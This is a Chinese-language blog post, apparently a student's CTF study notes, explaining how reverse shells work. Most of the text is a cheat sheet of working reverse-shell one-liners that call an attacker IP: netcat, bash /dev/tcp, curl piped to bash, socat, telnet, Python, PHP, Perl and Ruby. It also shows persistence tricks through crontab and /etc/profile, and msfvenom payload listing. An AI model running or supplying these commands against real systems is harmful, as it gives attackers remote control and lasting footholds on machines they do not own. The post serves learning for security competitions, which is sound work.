前言
参考学长的博客https://c3ngh.top
会出三篇文章,一个是SUID提权的,一个是学习反弹shell的,最后是两个结合在一起的赛题练习
什么是反弹shell
反弹shell是指目标主机主动向攻击者的主机发起连接,然后攻击者利用这个连接与目标主机进行交互。与之相对的是绑定shell,它是在目标主机上开放一个监听端口,攻击者直接连接这个端口
反弹shell的工作原理
攻击者监听:攻击者在自己的机器上打开一个监听端口,等待目标主机连接
目标主机发起连接:通过漏洞利用或命令注入,攻击者让目标主机执行一条指令,这条指令会主动连接攻击者的IP和端口
建立通信通道:连接成功后,目标主机将自己的命令行输入输出通过这个通道传递给攻击者
攻击者执行命令:攻击者通过这个通道直接操作目标主机
简单来说:A攻击B,A监听自己的某个端口,B主动访问A的那个端口,在A上对B进行命令执行,谁攻击谁监听自己,谁被攻击谁主动访问
为什么要反弹shell
1.目标主机位于内网(NAT环境)或防火墙后,攻击者无法直接访问目标主机的开放端口
2.目标主机有防火墙限制入站流量,反弹shell利用目标主机主动发起出站连接,而防火墙通常不会限制出战流量
3.目标主机没有固定IP,如果目标主机使用动态分配的IP地址(例如内网DHCP分配),攻击者很难找到目标主机的IP
4.规避入侵检测系统
5.限制攻击者暴露自身位置
利用netcat反弹shell
攻击机开启本地监听
1 | netcat -lvvp 12345 |
目标主机主动连接攻击机
1 | netcat 120.xxx.xxx.xxx 11451 -e /bin/bash |
这里我来实操一下
不行哎,我好像就一个公网ip,kail又不出网
利用bash反弹shell
利用bash反弹shell
攻击机开启本地监听:
BASH
1 | nc -lvvp 11451 |
目标机主动连接攻击机:
BASH
1 | bash -i >& /dev/tcp/120.xxx.xxx.xxx/11451 0>&1 |
Curl配合Bash反弹shell
首先,在攻击者vps的web目录里面创建一个index文件(index.php或index.html),内容如下:
BASH
1 | bash -i >& /dev/tcp/120.xxx.xxx.xxx/11451 0>&1 |
并开启11451端口的监听。
然后再目标机上执行如下,即可反弹shell:
BASH
1 | curl 120.xxx.xxx.xxx|bash |
将反弹shell的命令写入定时任务
我们可以在目标主机的定时任务文件中写入一个反弹shell的脚本,但是前提是我们必须要知道目标主机当前的用户名是哪个。因为我们的反弹shell命令是要写在 /var/spool/cron/[crontabs]/<username>
内的,所以必须要知道远程主机当前的用户名。否则就不能生效。
比如,当前用户名为root,我们就要将下面内容写入到 /var/spool/cron/root 中。(centos系列主机)
比如,当前用户名为root,我们就要将下面内容写入到 /var/spool/cron/crontabs/root 中。(Debian/Ubuntu系列主机)
BASH
1 | */1 * * * * /bin/bash -i>&/dev/tcp/120.xxx.xxx.xxx/11451 0>&1 |
将反弹shell的命令写入/etc/profile文件
将以下反弹shell的命写入/etc/profile文件中,/etc/profile中的内容会在用户打开bash窗口时执行。
BASH
1 | /bin/bash -i >& /dev/tcp/120.xxx.xxx.xxx/11451 0>&1 & |
当目标主机管理员远程连接该主机时,就会执行该命令,成功获得目标机的shell
利用Socat反弹shell
攻击机开启本地监听:
1 | socat TCP-LISTEN:11451 - |
目标机主动连接攻击机:
1 | socat tcp-connect:120.xxx.xxx.xxx:11451 exec:'bash -li',pty,stderr,setsid,sigint,sane |
利用Telnet反弹shell
方法1
攻击机开启本地监听:
1 | nc -lvvp 11451 |
目标机主动连接攻击机:
1 | mknod a p; telnet 120.xxx.xxx.xxx 11451 0<a | /bin/bash 1>a |
方法2
攻击机需要开启两个本地监听:
1 | nc -lvvp 11451 |
目标机主动连接攻击机
1 | telnet 120.xxx.xxx.xxx 11451 | /bin/bash | telnet 120.xxx.xxx.xxx 19198 |
Python 脚本反弹shell
攻击机开启本地监听:
1 | nc -lvvp 12345 |
目标机主动连接攻击机:
1 | python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("120.xxx.xxx.xxx",11451));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' |
当然,我好像在win上运行这个,tabby的ssh运行,还是没有连接上。
下面补充一些有用的知识
上面的代码有些错误,如果要在win的cmd运行的话
你这个错误是因为 Windows 命令行里的单引号 ‘ 用法不对,Windows 命令提示符(cmd)不支持用单引号包裹字符串,只能用双引号 “。
另外,Windows 上用 Python 反弹 Linux shell 也会有路径和命令的问题。
Windows 命令行执行 Python 反弹 Shell 正确写法:
把整个 Python 代码用双引号包裹,内部字符串用单引号
解决方案:放行 12345 端口
在阿里云服务器上执行:
sudo firewall-cmd –add-port=12345/tcp –permanent
sudo firewall-cmd –reload
确认是否生效:
sudo firewall-cmd –list-ports
应该能看到:
… 12345/tcp
PHP 脚本反弹shell
攻击机开启本地监听:
1 | nc -lvvp 11451 |
目标机主动连接攻击机:
1 | php -r '$sock=fsockopen("120.xxx.xxx.xxx",11451);exec("/bin/sh -i <&3 >&3 2>&3");' |
Perl 脚本反弹shell
攻击机开启本地监听:
1 | nc -lvvp 11451 |
目标机主动连接攻击机:
1 | perl -e 'use Socket;$i="120.xxx.xxx.xxx";$p=11451;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' |
Ruby 脚本反弹shell
攻击机开启本地监听:
1 | nc -lvvp 11451 |
目标机主动连接攻击机:
1 | ruby -rsocket -e 'c=TCPSocket.new("120.xxx.xxx.xxx","11451");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' |
使用Metasploit生成反弹shell
我们直接可以使用 msfvenom -l 结合关键字过滤(如cmd/unix/reverse),列出我们需要生成的各类反弹shell一句话的payload:
1 | msfvenom -l payloads | grep 'cmd/unix/reverse' |
反弹shell后获取模拟终端
我们只需在获取的shell里面输入如下命令,即可模拟一个终端设备:
BASH
1 | python -c "import pty;pty.spawn('/bin/bash')" |
小结
好像看学长博客,可以用自己服务器连接到自己的电脑,?,为啥我的好像不可以哎
后面弄一个wsl试试